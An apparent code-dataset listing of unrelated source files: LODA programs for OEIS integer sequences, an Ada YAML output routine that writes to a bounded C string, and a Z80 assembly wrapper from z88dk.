seq $2,192964 ; Constant term of the reduction by x^2->x+1 of the polynomial p(n,x) defined at Comments.
add $0,$2
|
dropin/src/yaml-destination-c_string.adb | robdaemon/AdaYaml | 32 | 15129 | <gh_stars>10-100
-- part of AdaYaml, (c) 2017 <NAME>
-- released under the terms of the MIT license, see the file "copying.txt"
package body Yaml.Destination.C_String is
function As_Destination (Raw : System.Address;
Size : Interfaces.C.size_t;
Size_Written : access Interfaces.C.size_t)
return Pointer is
Ret : constant access Instance :=
new Instance'(Destination.Instance with
Raw => Raw, Size => Integer (Size),
Size_Written => Size_Written);
begin
Ret.Size_Written.all := 0;
return Pointer (Ret);
end As_Destination;
overriding procedure Write_Data (D : in out Instance; Buffer : String) is
use type Interfaces.C.size_t;
Dest : String (1 .. D.Size);
for Dest'Address use D.Raw;
New_Length : constant Integer := Integer (D.Size_Written.all) + Buffer'Length;
begin
if New_Length > D.Size then
raise Destination_Error with
"Output does not fit into destination string!";
end if;
Dest (Integer (D.Size_Written.all + 1) .. New_Length) := Buffer;
D.Size_Written.all :=
D.Size_Written.all + Interfaces.C.size_t (Buffer'Length);
end Write_Data;
end Yaml.Destination.C_String;
|
libsrc/_DEVELOPMENT/stdlib/c/sdcc_ix/dtoh_callee.asm | jpoikela/z88dk | 640 | 6703 |
; size_t dtoh(double x, char *buf, uint16_t prec, uint16_t flag) __z88dk_callee
SECTION code_clib
SECTION code_stdlib
PUBLIC _dtoh_callee, l0_dtoh_callee
EXTERN dcallee1, asm_dtoh
_dtoh_callee:
call dcallee1 ; AC' = x
pop af
pop hl
pop de
pop bc
push af
l0_dtoh_callee:
push ix
call asm_dtoh
pop ix
ret
|
programs/oeis/337/A337929.asm | jmorken/loda | 1 | 168646 | <reponame>jmorken/loda<filename>programs/oeis/337/A337929.asm
; A337929: Numbers w such that (F(2*n-1)^2, -F(2*n)^2, w) are primitive solutions of the Diophantine equation 2*x^3 + 2*y^3 + z^3 = 1, where F(n) is the n-th Fibonacci number (A000045).
; 1,11,79,545,3739,25631,175681,1204139,8253295,56568929,387729211,2657535551,18215019649,124847601995,855718194319,5865179758241,40200540113371,275538601035359,1888569667134145,12944449068903659,88722573815191471
mul $0,2
mov $2,$0
mov $0,1
mov $3,5
lpb $2
sub $0,3
sub $3,$0
sub $0,$0
sub $0,1
add $1,$3
sub $0,$1
sub $2,1
lpe
div $1,5
mul $1,2
add $1,1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.